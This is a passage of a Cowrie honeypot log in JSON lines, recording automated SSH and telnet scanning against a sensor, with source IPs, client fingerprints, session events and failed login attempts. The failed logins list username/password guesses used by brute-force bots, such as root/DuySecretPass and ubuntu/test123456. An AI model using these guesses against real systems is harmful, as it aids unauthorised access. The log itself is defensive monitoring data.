-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:57.117952Z","src_ip":"190.181.25.210","session":"86befc30798a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345678","message":"login attempt [minecraft/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:57.625955Z","src_ip":"190.181.25.210","session":"86befc30798a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:58.748828Z","src_ip":"190.181.25.210","session":"86befc30798a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":53250,"dst_ip":"10.17.0.5","dst_port":22,"session":"95ac14f550bd","protocol":"ssh","message":"New connection: 98.70.48.241:53250 (10.17.0.5:22) [session: 95ac14f550bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:12.341832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:12.346844Z","src_ip":"98.70.48.241","session":"95ac14f550bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:12.537049Z","src_ip":"98.70.48.241","session":"95ac14f550bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test123456","message":"login attempt [ubuntu/test123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:13.326365Z","src_ip":"98.70.48.241","session":"95ac14f550bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:14.521434Z","src_ip":"98.70.48.241","session":"95ac14f550bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.214.85.20","src_port":40362,"dst_ip":"10.17.0.5","dst_port":23,"session":"92012a1ace3b","protocol":"telnet","message":"New connection: 91.214.85.20:40362 (10.17.0.5:23) [session: 92012a1ace3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:25.189736Z"}
{"eventid":"cowrie.session.closed","duration":13.399376630783081,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:38.588979Z","src_ip":"91.214.85.20","session":"92012a1ace3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":39580,"dst_ip":"10.17.0.5","dst_port":22,"session":"0339023cfb10","protocol":"ssh","message":"New connection: 57.128.223.80:39580 (10.17.0.5:22) [session: 0339023cfb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:48.521946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:48.553770Z","src_ip":"57.128.223.80","session":"0339023cfb10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:48.654753Z","src_ip":"57.128.223.80","session":"0339023cfb10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lubuntu","password":"lubuntu","message":"login attempt [lubuntu/lubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:49.087265Z","src_ip":"57.128.223.80","session":"0339023cfb10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:50.218878Z","src_ip":"57.128.223.80","session":"0339023cfb10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":54578,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d7b8fe43af7","protocol":"ssh","message":"New connection: 190.181.25.210:54578 (10.17.0.5:22) [session: 5d7b8fe43af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:58.719088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:58.724786Z","src_ip":"190.181.25.210","session":"5d7b8fe43af7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:58.854455Z","src_ip":"190.181.25.210","session":"5d7b8fe43af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"abc.123","message":"login attempt [user/abc.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:31:59.385247Z","src_ip":"190.181.25.210","session":"5d7b8fe43af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:00.512984Z","src_ip":"190.181.25.210","session":"5d7b8fe43af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":51714,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e491517596","protocol":"ssh","message":"New connection: 98.70.48.241:51714 (10.17.0.5:22) [session: 86e491517596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:10.695235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:10.700541Z","src_ip":"98.70.48.241","session":"86e491517596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:10.889556Z","src_ip":"98.70.48.241","session":"86e491517596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"password","message":"login attempt [user7/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:11.680052Z","src_ip":"98.70.48.241","session":"86e491517596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:12.880438Z","src_ip":"98.70.48.241","session":"86e491517596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00505185127258,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:23.476894Z","src_ip":"212.55.149.117","session":"e3be32b66a70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39223,"dst_ip":"10.17.0.5","dst_port":23,"session":"cec12591d1d6","protocol":"telnet","message":"New connection: 212.55.149.117:39223 (10.17.0.5:23) [session: cec12591d1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:25.405135Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":53048,"dst_ip":"159.203.135.109","dst_port":23,"session":"b94da2d3cb52","protocol":"telnet","message":"New connection: 129.232.238.42:53048 (159.203.135.109:23) [session: b94da2d3cb52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:41.528366Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.252.186.238","src_port":50036,"dst_ip":"10.17.0.5","dst_port":23,"session":"97f975b4e80a","protocol":"telnet","message":"New connection: 38.252.186.238:50036 (10.17.0.5:23) [session: 97f975b4e80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:46.845631Z"}
{"eventid":"cowrie.session.closed","duration":13.032615900039673,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:54.560846Z","src_ip":"129.232.238.42","session":"b94da2d3cb52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":34402,"dst_ip":"10.17.0.5","dst_port":22,"session":"e635420960d0","protocol":"ssh","message":"New connection: 190.181.25.210:34402 (10.17.0.5:22) [session: e635420960d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:57.359699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:57.365776Z","src_ip":"190.181.25.210","session":"e635420960d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:57.484577Z","src_ip":"190.181.25.210","session":"e635420960d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postmaster","password":"test","message":"login attempt [postmaster/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:57.987339Z","src_ip":"190.181.25.210","session":"e635420960d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:59.109220Z","src_ip":"190.181.25.210","session":"e635420960d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.649956464767456,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:32:59.495454Z","src_ip":"38.252.186.238","session":"97f975b4e80a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":41648,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6d27876ca8a","protocol":"ssh","message":"New connection: 98.70.48.241:41648 (10.17.0.5:22) [session: c6d27876ca8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:09.126588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:09.131625Z","src_ip":"98.70.48.241","session":"c6d27876ca8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:09.315087Z","src_ip":"98.70.48.241","session":"c6d27876ca8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123qweasdzxc","message":"login attempt [user/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:10.080953Z","src_ip":"98.70.48.241","session":"c6d27876ca8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34036,"dst_ip":"10.17.0.5","dst_port":22,"session":"695d1eb1ba67","protocol":"ssh","message":"New connection: 103.15.226.202:34036 (10.17.0.5:22) [session: 695d1eb1ba67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:10.552250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:10.559906Z","src_ip":"103.15.226.202","session":"695d1eb1ba67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:10.803520Z","src_ip":"103.15.226.202","session":"695d1eb1ba67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:11.268022Z","src_ip":"98.70.48.241","session":"c6d27876ca8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DuySecretPass","message":"login attempt [root/DuySecretPass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:11.525402Z","src_ip":"103.15.226.202","session":"695d1eb1ba67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:12.767974Z","src_ip":"103.15.226.202","session":"695d1eb1ba67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":42456,"dst_ip":"10.17.0.5","dst_port":22,"session":"7deb23300c4b","protocol":"ssh","message":"New connection: 190.181.25.210:42456 (10.17.0.5:22) [session: 7deb23300c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:54.698220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:55.355854Z","src_ip":"190.181.25.210","session":"7deb23300c4b","protocol":"ssh"}
